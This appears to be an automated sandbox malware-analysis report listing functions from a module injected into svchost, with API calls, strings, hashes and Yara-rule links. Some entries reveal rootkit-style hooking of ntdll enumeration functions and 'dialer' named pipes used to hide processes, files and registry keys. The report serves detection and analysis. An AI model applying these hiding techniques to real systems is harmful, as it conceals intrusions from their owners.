NtQuerySystemInformation, xrefs: 00000257E10A1D45
advapi32.dll, xrefs: 00000257E10A1DF7, 00000257E10A1E18
sechost.dll, xrefs: 00000257E10A1E39
NtQueryDirectoryFile, xrefs: 00000257E10A1D7F
NtResumeThread, xrefs: 00000257E10A1D62
EnumServicesStatusExW, xrefs: 00000257E10A1E11, 00000257E10A1E32
EnumServiceGroupW, xrefs: 00000257E10A1DF0
NtDeviceIoControlFile, xrefs: 00000257E10A1E56
ntdll.dll, xrefs: 00000257E10A1D2D
NtEnumerateKey, xrefs: 00000257E10A1DB9

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 729b3f40a99a6114c8675349f500bf02ad9969b64215182506dd6b7d13de966c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 6C319574298F4AE1EA0FEFA5FCABBD46325B75434BF8054A3940902576DF3C8249C768

Function 00000257E1076910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000257E1076938
__scrt_acquire_startup_lock.LIBCMT ref: 00000257E107698A
_RTC_Initialize.LIBCMT ref: 00000257E10769B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000257E10769DE
__scrt_release_startup_lock.LIBCMT ref: 00000257E1076A09

Strings

`dynamic initializer for ', xrefs: 00000257E10769C7
scriptor', xrefs: 00000257E1076B39, 00000257E1076BB2, 00000257E1076BEC
`eh vector copy constructor iterator', xrefs: 00000257E1076A3B
`eh vector vbase copy constructor iterator', xrefs: 00000257E10769EE

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: c413f792152c6e77bcdec011d4ce604bdbff46f8c7e2d41a41648d6f97dd56db
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7481476178CF0586F65FBB2ABC4F3B922D0E785782F5480A49A2647797DB38C8458B0C

Function 00000257E10ACE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000257E10ACE37
FlsGetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE4C
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE6D
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE9A
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACEAB
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACEBC
SetLastError.KERNEL32 ref: 00000257E10ACED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF0D
FlsSetValue.KERNEL32(?,?,00000001,00000257E10AECCC,?,?,?,?,00000257E10ABF9F,?,?,?,?,?,00000257E10A7AB0), ref: 00000257E10ACF2C

Part of subcall function 00000257E10AD6CC: HeapAlloc.KERNEL32 ref: 00000257E10AD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF54

Part of subcall function 00000257E10AD744: HeapFree.KERNEL32 ref: 00000257E10AD75A
Part of subcall function 00000257E10AD744: GetLastError.KERNEL32 ref: 00000257E10AD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF76

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 44b74c0836ad876a2fac46d0e824247e53a8591ac7bd446e8d08f2f1267c89cf
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 3D4182703CDF4441FAAFA7357E5F3AD22815B447B2F6547A4A936066D6DE38C401872C

Function 00000257E10A2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000257E10A2259
GetCurrentProcessId.KERNEL32 ref: 00000257E10A2263

Part of subcall function 00000257E10A1934: OpenProcess.KERNEL32 ref: 00000257E10A1952
Part of subcall function 00000257E10A1934: IsWow64Process.KERNEL32 ref: 00000257E10A1968
Part of subcall function 00000257E10A1934: CloseHandle.KERNEL32 ref: 00000257E10A1983

CreateFileW.KERNEL32 ref: 00000257E10A22BC
WriteFile.KERNEL32 ref: 00000257E10A22E4
ReadFile.KERNEL32 ref: 00000257E10A2303
CloseHandle.KERNEL32 ref: 00000257E10A230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000257E10A228C
\\.\pipe\dialerchildproc32, xrefs: 00000257E10A2293

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: fd144254930c9193e2e316754b6910d439631fa1b8b54bcb3ad30ea55ac0c1ae
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: DB214F32658F4082FB19CB25F84A75A73A0F789BA6F504255EA6903BA8CF3CC149CF04

Function 00000257E10AA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000257E10AA5A1

Part of subcall function 00000257E10AB414: __GetUnwindTryBlock.LIBCMT ref: 00000257E10AB457
Part of subcall function 00000257E10AB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000257E10AB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000257E10AA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000257E10AA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000257E10AA9DA

Strings

csm, xrefs: 00000257E10AA69C
csm, xrefs: 00000257E10AA622
csm, xrefs: 00000257E10AA5BB

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: fa66f7741ebcd80bb86e54b7b1d1724f64a0d38ed48e78e569a20c50e363ff0f
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 46E1E572648F40CAEB6ADF65E84B39D77A0F748B99F100155EE8957B95CF34C081C714

Function 00000257E1079944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000257E10799A1

Part of subcall function 00000257E107A814: __GetUnwindTryBlock.LIBCMT ref: 00000257E107A857
Part of subcall function 00000257E107A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000257E107A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000257E1079A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000257E1079CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000257E1079DDA

Strings

csm, xrefs: 00000257E1079A9C
csm, xrefs: 00000257E10799BB
csm, xrefs: 00000257E1079A22

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: eee8ddbebd137ff77ed4dfc8451c6d54f91bdde69a51e284d5195fa703101059
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: FFE1E472648F408AEB6AFF65E88B3AD37B0F7457A9F000156EE4A57B55CB34C490C704

Function 00000257E10AF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000257E10AF510
GetProcAddress.KERNEL32 ref: 00000257E10AF51C

Strings

api-ms-, xrefs: 00000257E10AF45A
ext-ms-, xrefs: 00000257E10AF46D

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: cf054b1d2baf678fe8bdec6d8eaa147d53923dc8430d7e3ded5bb42e28665e5b
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2741C632399F0091FA1FDB16BC0B79A2391B745BE1F5942659D1E87784EF3CC4458328

Function 00000257E10A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A10B1
RegEnumValueW.ADVAPI32 ref: 00000257E10A1117
GetProcessHeap.KERNEL32 ref: 00000257E10A115A
HeapAlloc.KERNEL32 ref: 00000257E10A1168
GetProcessHeap.KERNEL32 ref: 00000257E10A1185
HeapFree.KERNEL32 ref: 00000257E10A1193

Strings

d, xrefs: 00000257E10A10D6

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 9cf63d37dc8258112caa738864d3c548755d6f27b2a305309498d83b3183a8b3
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 27419F73218F84C6E765CF21F84A79E77A1F388B89F048129EA8907B58DF38D449CB14

Function 00000257E10AD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD087
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0A6
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0CE
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0DF
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0F0

Strings

Y%, xrefs: 00000257E10AD0A6
1%, xrefs: 00000257E10AD0CE

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 3937cb81b8b0f971906db0413d64368154e2d1c9df82cae5cad0a14440eaf12d
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: C2118E707CCB8041FA6EA7357D5F36D71416B483F2F2443A4B93A066EADE78D4028728

Function 00000257E10A7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000257E10A7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000257E10A758A
_RTC_Initialize.LIBCMT ref: 00000257E10A75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000257E10A75DE
__scrt_release_startup_lock.LIBCMT ref: 00000257E10A7609

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 1fcdb397b1644b17d16c1eb1e9d437d376732d2965c1ff5ed4ddc4445df92217
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 168117317CCF4186FB5FAB65BC4B39926D0BB89782F44C4A5DA0447396FB3AC4458728

Function 00000257E10A9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000257E10A9E49
GetLastError.KERNEL32 ref: 00000257E10A9E57
LoadLibraryExW.KERNEL32 ref: 00000257E10A9E81
FreeLibrary.KERNEL32 ref: 00000257E10A9EC7
GetProcAddress.KERNEL32 ref: 00000257E10A9ED3

Strings

api-ms-, xrefs: 00000257E10A9E69

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 1ca0844d76c3e8bd01ab4792baa35eba0e52544e90a3a5dfd8280d08fd67e20c
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: CB31F63139AF00E1EE1BDB02BC0BB5523D4B748BA2F5905659E2F4B792DF38C0458328

Function 00000257E10B3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000257E10B3DE5
GetLastError.KERNEL32 ref: 00000257E10B3DF1
CloseHandle.KERNEL32 ref: 00000257E10B3E09
CreateFileW.KERNEL32 ref: 00000257E10B3E34
WriteConsoleW.KERNEL32 ref: 00000257E10B3E53

Strings

CONOUT$, xrefs: 00000257E10B3E15

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 9ee7c4574fcb2fd013fb964aa6248de50fe65bdbb00ad364504beb63cc9ade48
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 3111BF31358F4086E756CB12FC4BB1972A4F388FE6F180265EA2A87794CF38C8148748

Function 00000257E10A3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000257E10A379E
GetCurrentProcess.KERNEL32 ref: 00000257E10A37CC
VirtualProtectEx.KERNEL32 ref: 00000257E10A37EE
GetCurrentProcess.KERNEL32 ref: 00000257E10A3809
VirtualProtectEx.KERNEL32 ref: 00000257E10A382A

Strings

wr, xrefs: 00000257E10A37FF

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 9a2b3325603176c98f4169559021404f9569204c8e58316270e8b4dcf71a70dc
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 60118B36348F4086EF199B22F80E76A62B4FB88B86F040468DE990B794EF3DC545C718

Function 00000257E10A5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5B6B
GetThreadContext.KERNEL32 ref: 00000257E10A5CD5

Part of subcall function 00000257E10A5960: GetCurrentThreadId.KERNEL32 ref: 00000257E10A5964

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 966c8cfc9cd363fdfda02b2bdcc18e9b8abbeec9a729aea55c5a0fc7a420839d
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: E6D1C976248F88C1DA75DB0AF89A35A77A0F388B85F104252EACD47BA9DF3CC551CB14

Function 00000257E10A2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A2F27
HeapAlloc.KERNEL32 ref: 00000257E10A2F3A
StrCmpNIW.SHLWAPI ref: 00000257E10A2FAF
GetProcessHeap.KERNEL32 ref: 00000257E10A3015
HeapFree.KERNEL32 ref: 00000257E10A3023

Strings

dialer, xrefs: 00000257E10A2FA8

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: cdb653347486f95d6936b3a6e080e65dbc29c48c69199ff8dba1e233120f6aa2
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: CF31D232389F5186EA1ACF16FD4BB69A7A4FB44B86F084170AE4847B55EF34C4A18314

Function 00000257E10ACFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000257E10ACFAF
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10ACFE5
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD012
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD023
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD034
SetLastError.KERNEL32 ref: 00000257E10AD04F

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: bbc7888f5e4037d8188519172c2121bad00389fe15c94999cae900f3cde1423e
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A4114D703C8F8081FA6E97317E4F76D21516B487E2F1447A4B936466E6DE78C4018728

Function 00000257E10A199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000257E10A19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000257E10A19E0
PathFindFileNameW.SHLWAPI ref: 00000257E10A19EF
lstrlenW.KERNEL32 ref: 00000257E10A19FB
StrCpyW.SHLWAPI ref: 00000257E10A1A0E
CloseHandle.KERNEL32 ref: 00000257E10A1A1C

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 4c54e0cd68b01bb03e9099f5d5445d1d048295c9e60c374dc5866ed19de68462
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 48015731348F4082EA19DB52B89AB5A63A5F788FC2F888475DE5A43754DE38C989C704

Function 00000257E10A36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000257E10A36E4
GetCurrentProcess.KERNEL32 ref: 00000257E10A36F2
VirtualProtectEx.KERNEL32 ref: 00000257E10A3714
GetCurrentProcess.KERNEL32 ref: 00000257E10A3732
VirtualProtectEx.KERNEL32 ref: 00000257E10A3753
TerminateThread.KERNEL32 ref: 00000257E10A3762

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: f5791e389f93502f4c9fee8c8b73c305a7e67720a75c226d159784ea1be0102c
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 47011775259F4086EB2ADB22FC1F71A66B0BB99B87F0404A4DA5907764EF3DC148CB18

Function 00000257E10A9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10A90A8
RtlUnwindEx.NTDLL ref: 00000257E10A90F7

Strings

f, xrefs: 00000257E10A9026
csm, xrefs: 00000257E10A908E

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: dfda00a6953bd7fd31afee440e3a8cdc3f116b40ca32194e381a607924f2b4fb
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4C51A132749B008AEB1EDB25FC4FB593796F344B89F1081A8DA1747788EB75E981C718

Function 00000257E10A8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10A90A8
RtlUnwindEx.NTDLL ref: 00000257E10A90F7

Strings

f, xrefs: 00000257E10A9026
csm, xrefs: 00000257E10A908E

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 7996f0918551bbe49c81effb0a51052158cdeed2e265b154e812129fb940380b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
